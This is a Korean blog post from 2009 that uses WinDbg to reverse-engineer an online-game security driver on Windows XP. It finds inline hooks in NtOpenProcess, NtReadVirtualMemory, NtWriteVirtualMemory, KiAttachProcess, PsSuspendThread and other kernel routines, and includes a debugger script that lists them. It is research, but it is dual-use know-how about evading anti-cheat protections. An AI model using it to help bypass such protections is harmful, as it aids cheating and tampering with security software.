80506638  805d7756 nt!NtOpenJobObject
8050663c  80626b84 nt!NtOpenKey
80506640  80618e56 nt!NtOpenMutant
80506644  805f6428 nt!NtOpenObjectAuditAlarm
80506648  805cd40a nt!NtOpenProcess
8050664c  805ef730 nt!NtOpenProcessToken
80506650  805ef394 nt!NtOpenProcessTokenEx
80506654  805ac3d0 nt!NtOpenSection
80506658  80616828 nt!NtOpenSemaphore
8050665c  805c5baa nt!NtOpenSymbolicLinkObject
80506660  805cd696 nt!NtOpenThread
80506664  805ef74e nt!NtOpenThreadToken
80506668  805ef504 nt!NtOpenThreadTokenEx
8050666c  80618770 nt!NtOpenTimer
80506670  80647176 nt!NtPlugPlayControl
80506674  805cb4bc nt!NtPowerInformation
80506678  805f9b10 nt!NtPrivilegeCheck
8050667c  805f573a nt!NtPrivilegeObjectAuditAlarm
80506680  805f5926 nt!NtPrivilegedServiceAuditAlarm
80506684  805ba3e8 nt!NtProtectVirtualMemory
80506688  806107e6 nt!NtPulseEvent
8050668c  80578ed6 nt!NtQueryAttributesFile
80506690  80618110 nt!NtSetBootOptions
80506694  80618110 nt!NtSetBootOptions
80506698  80541bc6 nt!NtQueryDebugFilterState
8050669c  806123d8 nt!NtQueryDefaultLocale
805066a0  80613038 nt!NtQueryDefaultUILanguage
805066a4  8057be64 nt!NtQueryDirectoryFile
805066a8  805c061c nt!NtQueryDirectoryObject
805066ac  8057c1b2 nt!NtQueryEaFile
805066b0  806108ae nt!NtQueryEvent
805066b4  8057902a nt!NtQueryFullAttributesFile
805066b8  806178ac nt!NtQueryInformationAtom
805066bc  8057ca1e nt!NtQueryInformationFile
805066c0  805d7c28 nt!NtQueryInformationJobObject
805066c4  805a73c8 nt!NtQueryInformationPort
805066c8  805cef5e nt!NtQueryInformationProcess
805066cc  805cdb8c nt!NtQueryInformationThread
805066d0  805ef82e nt!NtQueryInformationToken
805066d4  806127d6 nt!NtQueryInstallUILanguage
805066d8  80619620 nt!NtQueryIntervalProfile
805066dc  8057abe2 nt!NtQueryIoCompletion
805066e0  80626eaa nt!NtQueryKey
805066e4  80624900 nt!NtQueryMultipleValueKey
805066e8  80618efe nt!NtQueryMutant
805066ec  805c7296 nt!NtQueryObject
805066f0  80624fac nt!NtQueryOpenSubKeys
805066f4  806196ae nt!NtQueryPerformanceCounter
805066f8  8057d800 nt!NtQueryQuotaInformationFile
805066fc  805ba5aa nt!NtQuerySection
80506700  805c2064 nt!NtQuerySecurityObject
80506704  806168e0 nt!NtQuerySemaphore
80506708  805c5c4a nt!NtQuerySymbolicLinkObject
8050670c  8061812c nt!NtQuerySystemEnvironmentValue
80506710  806180e6 nt!NtSetSystemEnvironmentValueEx
80506714  806130b8 nt!NtQuerySystemInformation
80506718  80614878 nt!NtQuerySystemTime
8050671c  80618828 nt!NtQueryTimer
80506720  8061490a nt!NtQueryTimerResolution
80506724  806239ea nt!NtQueryValueKey
80506728  805bac38 nt!NtQueryVirtualMemory
8050672c  8057dcea nt!NtQueryVolumeInformationFile
80506730  805d3240 nt!NtQueueApcThread
80506734  80546ec4 nt!NtRaiseException
80506738  80616552 nt!NtRaiseHardError
8050673c  8057e48a nt!NtReadFile
80506740  8057e9f4 nt!NtReadFileScatter
80506744  805a7e50 nt!NtReadRequestData
80506748  805b628c nt!NtReadVirtualMemory
8050674c  805d4762 nt!NtRegisterThreadTerminatePort
80506750  80619036 nt!NtReleaseMutant
80506754  80616a10 nt!NtReleaseSemaphore
80506758  8057aeda nt!NtRemoveIoCompletion
8050675c  80645054 nt!NtRemoveProcessDebug
80506760  806251d4 nt!NtRenameKey
80506764  8062785e nt!NtReplaceKey
80506768  805a74d0 nt!NtReplyPort
8050676c  805a8498 nt!NtReplyWaitReceivePort
80506770  805a7ea0 nt!NtReplyWaitReceivePortEx
80506774  805a77ba nt!NtReplyWaitReplyPort
80506778  805ca5cc nt!NtRequestDeviceWakeup
8050677c  805a4a2e nt!NtRequestPort
80506780  805a4d5a nt!NtRequestWaitReplyPort
80506784  805ca3da nt!NtRequestWakeupLatency
80506788  806109c0 nt!NtResetEvent
8050678c  80523672 nt!NtResetWriteWatch
80506790  8062716a nt!NtRestoreKey
80506794  805d6aa2 nt!NtResumeProcess
80506798  805d6984 nt!NtResumeThread
8050679c  80627266 nt!NtSaveKey
805067a0  8062734c nt!NtSaveKeyEx
805067a4  80627474 nt!NtSaveMergedKeys
805067a8  805a5d48 nt!NtSecureConnectPort
805067ac  80618110 nt!NtSetBootOptions
805067b0  80618110 nt!NtSetBootOptions
805067b4  805d3704 nt!NtSetContextThread
805067b8  80647d0c nt!NtSetDebugFilterState
805067bc  806163fc nt!NtSetDefaultHardErrorPort
805067c0  80612528 nt!NtSetDefaultLocale
805067c4  80612d9a nt!NtSetDefaultUILanguage
805067c8  8057c6c6 nt!NtSetEaFile
805067cc  80610a80 nt!NtSetEvent
805067d0  80610b4a nt!NtSetEventBoostPriority
805067d4  80618d1a nt!NtSetHighEventPair
805067d8  80618c4a nt!NtSetHighWaitLowEventPair
805067dc  80644a1e nt!NtSetInformationDebugObject
805067e0  8057d010 nt!NtSetInformationFile
805067e4  805d8936 nt!NtSetInformationJobObject
805067e8  806244cc nt!NtSetInformationKey
805067ec  805c680c nt!NtSetInformationObject
805067f0  805cfe54 nt!NtSetInformationProcess
805067f4  805ce0d8 nt!NtSetInformationThread
805067f8  805fbe8c nt!NtSetInformationToken
805067fc  80619182 nt!NtSetIntervalProfile
80506800  8057ae78 nt!NtSetIoCompletion
80506804  805d58ce nt!NtSetLdtEntries
80506808  80618cb6 nt!NtSetLowEventPair
8050680c  80618bde nt!NtSetLowWaitHighEventPair
80506810  8057d7de nt!NtSetQuotaInformationFile
80506814  805c25f8 nt!NtSetSecurityObject
80506818  806183b0 nt!NtSetSystemEnvironmentValue
8050681c  806180e6 nt!NtSetSystemEnvironmentValueEx
80506820  806113e6 nt!NtSetSystemInformation
80506824  80654e18 nt!NtSetSystemPowerState
80506828  80615b80 nt!NtSetSystemTime
8050682c  805ca2ee nt!NtSetThreadExecutionState
80506830  8053ad72 nt!NtSetTimer
80506834  80615052 nt!NtSetTimerResolution
80506838  80616ec6 nt!NtSetUuidSeed
8050683c  80623d38 nt!NtSetValueKey
80506840  8057e0f4 nt!NtSetVolumeInformationFile
80506844  80614670 nt!NtShutdownSystem
80506848  80528768 nt!NtSignalAndWaitForSingleObject
8050684c  806193cc nt!NtStartProfile
80506850  80619576 nt!NtStopProfile
80506854  805d6a4c nt!NtSuspendProcess
80506858  805d68be nt!NtSuspendThread
8050685c  8061979a nt!NtSystemDebugControl
80506860  805d94ca nt!NtTerminateJobObject
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx
80506884  8057b656 nt!NtUnlockFile
80506888  805b8eaa nt!NtUnlockVirtualMemory
8050688c  805b4e12 nt!NtUnmapViewOfSection
80506890  805fd244 nt!NtVdmControl
80506894  80644786 nt!NtWaitForDebugEvent
80506898  805c27ae nt!NtWaitForMultipleObjects
8050689c  805c26c4 nt!NtWaitForSingleObject
805068a0  80618b7a nt!NtWaitHighEventPair
805068a4  80618b16 nt!NtWaitLowEventPair
805068a8  8057eef2 nt!NtWriteFile
805068ac  8057f4d6 nt!NtWriteFileGather
805068b0  805a7e78 nt!NtWriteRequestData
805068b4  805b6396 nt!NtWriteVirtualMemory
805068b8  80506ae8 nt!NtYieldExecution
805068bc  80619bf2 nt!NtCreateKeyedEvent
805068c0  80619cdc nt!NtOpenKeyedEvent
805068c4  80619d8e nt!NtReleaseKeyedEvent
805068c8  80619fea nt!NtWaitForKeyedEvent
805068cc  805cd90c nt!NtQueryPortInformationProcess

스크롤의 압박이 있지만 , 깨끗하다는걸 증명하기 위해서는....어쩔수가 없다
아주 깨끗하지 않은가?
이건 뭐  SSDT 후킹을 하고있나?  라고 의심할수밖에 없을정도로.....깨끗한 테이블~~

이때까지만 해도  아~   KTHREAD의  ServiceTable의 값을 바꿔서 새로만든 ServiceTable로 연결 시켜서
SSDT Relocation 기법을 쓰는구나  싶었다.
하지만 그것도 아니었다.

   +0x0d8 UserAffinity     : 3
   +0x0dc SystemAffinityActive : 0 ''
   +0x0dd PowerState       : 0 ''
   +0x0de NpxIrql          : 0 ''
   +0x0df InitialNode      : 0 ''
   +0x0e0 ServiceTable     : 0x8055e700 
   +0x0e4 Queue            : (null) 
   +0x0e8 ApcQueueLock     : 0
   +0x0f0 Timer            : _KTIMER
   +0x118 QueueListEntry   : _LIST_ENTRY [ 0x0 - 0x0 ]


0: kd> dds KeServiceDescriptorTable
8055e700  80506460 nt!KiServiceTable
8055e704  00000000
8055e708  0000011c
8055e70c  805068d4 nt!KiArgumentTable


Relocation도 아니면 뭐지?  생각하다가
결국은  내부 함수 후킹일 것 같네?  라는 생각이 들어서...
그래서 보통 대부분의 온라인 게임 보안 프로그램에서는 NtOpenProcess는 무조건 따내겠지? 하는 생각으로
NtOpenProcess 내부에서 호출하고있는 함수들의 목록을 살펴보기로 했다.

0: kd> uf /c nt!NtOpenProcess
nt!NtOpenProcess (805cd40a)
  nt!NtOpenProcess+0xa (805cd414):
    call to EagleNT+0xa9e0 (b1f3d9e0)
  nt!NtOpenProcess+0x4e (805cd458):
    call to nt!ExRaiseDatatypeMisalignment (80616092)
  nt!NtOpenProcess+0x7c (805cd486):
    call to nt!ExRaiseDatatypeMisalignment (80616092)
  nt!NtOpenProcess+0x116 (805cd520):
    call to nt!SeCreateAccessState (805f2dc6)
  nt!NtOpenProcess+0x132 (805cd53c):
    call to nt!SeSinglePrivilegeCheck (805f9ce0)
  nt!NtOpenProcess+0x17d (805cd587):
    call to nt!ObOpenObjectByName (805bd8f4)
  nt!NtOpenProcess+0x18b (805cd595):
    call to nt!SeDeleteAccessState (805f2b88)
  nt!NtOpenProcess+0x1e2 (805cd5ec):
    call to nt!PsLookupProcessThreadByCid (805d5030)
  nt!NtOpenProcess+0x1f4 (805cd5fe):
    call to nt!SeDeleteAccessState (805f2b88)
  nt!NtOpenProcess+0x202 (805cd60c):
    call to nt!PsLookupProcessByProcessId (805d50ec)
  nt!NtOpenProcess+0x224 (805cd62e):
    call to nt!ObOpenObjectByPointer (805bdc7a)
  nt!NtOpenProcess+0x232 (805cd63c):
    call to nt!SeDeleteAccessState (805f2b88)
  nt!NtOpenProcess+0x23e (805cd648):
    call to nt!ObfDereferenceObject (8052868e)
  nt!NtOpenProcess+0x246 (805cd650):
    call to nt!ObfDereferenceObject (8052868e)
  nt!NtOpenProcess+0x27e (805cd688):
    call to nt!_SEH_epilog (8053dbcb)



뷁 ,  NtOpenProcess가 호출되자마자  바로  다른곳을 호출하고 있음을 볼수있다.

더 확실히 보기 위해서


0: kd> u nt!NtOpenProcess
nt!NtOpenProcess:
805cd40a 68c4000000      push    0C4h
805cd40f 68c0c44d80      push    offset nt!ObWatchHandles+0x25c (804dc4c0)
805cd414 e8c7059731      call    EagleNT+0xa9e0 (b1f3d9e0)
805cd419 33f6            xor     esi,esi
805cd41b 8975d4          mov     dword ptr [ebp-2Ch],esi
805cd41e 33c0            xor     eax,eax
805cd420 8d7dd8          lea     edi,[ebp-28h]
805cd423 ab              stos    dword ptr es:[edi]


NtOpenProcess가 호출되자마자 바로 보안 드라이버의 함수를 실행한다.
이런 방식으로 후킹 해버리면  SSDT Restore나 Hook을 해도 마찬가지가 되버리기 때문에
알려진 공격방법에 대해서는 자유롭게 되는것이다.

NtOpenProcess 앞부분을 살펴보면
0xC4 와    ObWatchHandles+0x25C 를 PUSH 하면서  후킹함수를 호출하고 있다.
ObWatchHandles는  dd  로 살펴보니 HandleList  개념일것 같은데 ,  자세히는 모르겠다.

아마도 다른  서비스함수들 내부에도 이런식으로 여러개 따냈을것이 분명하기 때문에,
무식한방법으로 스크립트를 동원해서 내부를 싸그리 뒤져보기로 했다.

스크립트는 아래와 같이 작성하였다. (0x470은   Windows XP SP3 기준)

r $t0 = 0
r $t1 = 0
.for(r $t0 = 0; (@$t0 <= 470); r $t0 = @$t0 + 0x04)
{
      r $t1 = @$t0 + nt!KiServiceTable
      uf -c poi(@$t1)
}

그래서 결과를 추려내었더니 , 후킹하는 함수들의 목록은 아래와 같았다.

nt!NtClose (805be4fa)
  nt!NtClose+0x18 (805be512):
    call to EagleNT+0xa910 (b1f3d910)

>NtClose를 자세히 살펴보면 다음과 같다.
0: kd> u nt!NtClose
nt!NtClose:
805be4fa 8bff            mov     edi,edi
805be4fc 55              push    ebp
805be4fd 8bec            mov     ebp,esp
805be4ff 64a124010000    mov     eax,dword ptr fs:[00000124h]
805be505 0fbe8040010000  movsx   eax,byte ptr [eax+140h]
805be50c 6a00            push    0
805be50e 50              push    eax
805be50f ff7508          push    dword ptr [ebp+8]
805be512 e8f9f39731      call    EagleNT+0xa910 (b1f3d910)
805be517 5d              pop     ebp
805be518 c20400          ret     4
엥? 이게 끝인가?  NtClose는 정말 간단하게 되있군.




nt!NtDeviceIoControlFile (8057b24a)
  nt!NtDeviceIoControlFile+0x25 (8057b26f):
    call to EagleNT+0xa7d0 (b1f3d7d0)

>NtDeviceIoControlFile을 자세히 살펴보면 다음과 같다.
0: kd> u nt!NtDeviceIoControlFile
nt!NtDeviceIoControlFile:
8057b24a 8bff            mov     edi,edi
8057b24c 55              push    ebp
8057b24d 8bec            mov     ebp,esp
8057b24f 6a01            push    1
8057b251 ff752c          push    dword ptr [ebp+2Ch]
8057b254 ff7528          push    dword ptr [ebp+28h]
8057b257 ff7524          push    dword ptr [ebp+24h]
8057b25a ff7520          push    dword ptr [ebp+20h]
8057b25d ff751c          push    dword ptr [ebp+1Ch]
8057b260 ff7518          push    dword ptr [ebp+18h]
8057b263 ff7514          push    dword ptr [ebp+14h]
8057b266 ff7510          push    dword ptr [ebp+10h]
8057b269 ff750c          push    dword ptr [ebp+0Ch]
8057b26c ff7508          push    dword ptr [ebp+8]
8057b26f e85c259c31      call    EagleNT+0xa7d0 (b1f3d7d0)
8057b274 5d              pop     ebp
8057b275 c22800          ret     28h



nt!NtOpenProcess (805cd40a)
  nt!NtOpenProcess+0xa (805cd414):
    call to EagleNT+0xa9e0 (b1f3d9e0)

>NtOpenProcess는 위에서 보았으니 생략



nt!NtReadVirtualMemory (805b628c)
  nt!NtReadVirtualMemory+0x7 (805b6293):
    call to EagleNT+0xac40 (b1f3dc40)

>NtReadVirtualMemory를 자세히 보자
0: kd> u nt!NtReadVirtualMemory
nt!NtReadVirtualMemory:
805b628c 6a1c            push    1Ch
805b628e 68f0be4d80      push    offset nt!MmClaimParameterAdjustDownTime+0x90 (804dbef0)
805b6293 e8a8799831      call    EagleNT+0xac40 (b1f3dc40)
805b6298 64a124010000    mov     eax,dword ptr fs:[00000124h]
805b629e 8bf8            mov     edi,eax
805b62a0 8a8740010000    mov     al,byte ptr [edi+140h]
805b62a6 8845e0          mov     byte ptr [ebp-20h],al
805b62a9 8b7514          mov     esi,dword ptr [ebp+14h]


nt!NtWriteVirtualMemory (805b6396)
  nt!NtWriteVirtualMemory+0x7 (805b639d):
    call to EagleNT+0xad90 (b1f3dd90)


>NtWriteVirtualMemory
0: kd> u nt!NtWriteVirtualMemory
nt!NtWriteVirtualMemory:
805b6396 6a1c            push    1Ch
805b6398 6808bf4d80      push    offset nt!MmClaimParameterAdjustDownTime+0xa8 (804dbf08)
805b639d e8ee799831      call    EagleNT+0xad90 (b1f3dd90)
805b63a2 64a124010000    mov     eax,dword ptr fs:[00000124h]
805b63a8 8bf8            mov     edi,eax
805b63aa 8a8740010000    mov     al,byte ptr [edi+140h]
805b63b0 8845e0          mov     byte ptr [ebp-20h],al
805b63b3 8b7514          mov     esi,dword ptr [ebp+14h]





덧글의  TaeHwa 님의 도움으로 아래 내용 추가



 KiServiceTable에 있지않은  함수중에서  KiAttachProcess  라는 녀석이 있다.
이녀석은 이래저래 많이 사용되고 아주 민감한 녀석인데  이 녀석까지도  따내버린걸 확인할 수 있었다.
0: kd> uf /c nt!KiAttachProcess
nt!KiAttachProcess (804faa08)
  nt!KiAttachProcess+0x19 (804faa21):
    call to EagleNT+0xa3f0 (b1f3d3f0)
  nt!KiAttachProcess+0x77 (804faa7f):
    call to nt!KiReadyThread (80505124)
  nt!KiAttachProcess+0x89 (804faa91):
    call to nt!KiSwapProcess (80547ca0)
  nt!KiAttachProcess+0x91 (804faa99):
    call to nt!KiUnlockDispatcherDatabase (805478a8)
  nt!KiAttachProcess+0xe0 (804faae8):
    call to nt!KiSetSwapEvent (804fa5de)
  nt!KiAttachProcess+0xe8 (804faaf0):
    call to hal!KeAcquireQueuedSpinLockRaiseToSynch (806e8a3c)
  nt!KiAttachProcess+0x10c (804fab14):
    call to hal!KeReleaseQueuedSpinLock (806e8aa8)
  nt!KiAttachProcess+0x118 (804fab20):
    call to nt!KiSwapThread (805057bc)

0: kd> u nt!KiAttachProcess
nt!KiAttachProcess:
804faa08 8bff            mov     edi,edi
804faa0a 55              push    ebp
804faa0b 8bec            mov     ebp,esp
804faa0d 53              push    ebx
804faa0e 56              push    esi
804faa0f 8b7508          mov     esi,dword ptr [ebp+8]
804faa12 57              push    edi
804faa13 ff7514          push    dword ptr [ebp+14h]
804faa16 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
804faa19 66ff4760        inc     word ptr [edi+60h]
804faa1d 8d5e34          lea     ebx,[esi+34h]
804faa20 53              push    ebx
804faa21 e8ca29a431      call    EagleNT+0xa3f0 (b1f3d3f0)
804faa26 895b04          mov     dword ptr [ebx+4],ebx
804faa29 891b            mov     dword ptr [ebx],ebx
804faa2b 8d463c          lea     eax,[esi+3Ch]




또한 

0: kd> uf /c nt!PsSuspendThread
nt!PsSuspendThread (805d6790)
  nt!PsSuspendThread+0x7 (805d6797):
    call to EagleNT+0xaee0 (b1f3dee0)
  nt!PsSuspendThread+0x22 (805d67b2):
    call to nt!KeSuspendThread (804ff4f8)
  nt!PsSuspendThread+0x52 (805d67e2):
    call to nt!ExAcquireRundownProtection (8060e3fa)
  nt!PsSuspendThread+0x6a (805d67fa):
    call to nt!KeSuspendThread (804ff4f8)
  nt!PsSuspendThread+0xa0 (805d6830):
    call to nt!KeForceResumeThread (804ff010)
  nt!PsSuspendThread+0xb4 (805d6844):
    call to nt!ExReleaseRundownProtection (8060e454)
  nt!PsSuspendThread+0xce (805d685e):
    call to nt!_SEH_epilog (8053dbcb)


0: kd> u nt!PsSuspendThread
nt!PsSuspendThread:
805d6790 6a18            push    18h
805d6792 68e8c94d80      push    offset nt!ObWatchHandles+0x784 (804dc9e8)
805d6797 e844779631      call    EagleNT+0xaee0 (b1f3dee0)
805d679c 33f6            xor     esi,esi
805d679e 8975e4          mov     dword ptr [ebp-1Ch],esi
805d67a1 64a124010000    mov     eax,dword ptr fs:[00000124h]
805d67a7 8b7d08          mov     edi,dword ptr [ebp+8]
805d67aa 3bf8            cmp     edi,eax

SuspendThread를 후킹하는것은  아마 유저모드 보안모듈의 실행흐름을 Suspend 시키는걸 방지하기 위해서 따내는것 같다.




결과적으로  현재까지 확인된 결과는
NtClose
NtDeviceIoControlFile
NtOpenProcess
NtWriteVirtualMemory
NtReadVirtualMemory
KiAttachProcess
PsSuspendThread




모듈 이름이 다 나와있긴하지만 , 대놓고 공개적으로 이름을 거론하긴 좀 뭐해서 , 모 보안 프로그램이라고 지칭하였다.
시간을 두고 살펴볼 필요가 있을것 같다.
저작자 표시 비영리 변경 금지
신고
by Sone 2009.12.21 03:39
| 1 2 3 |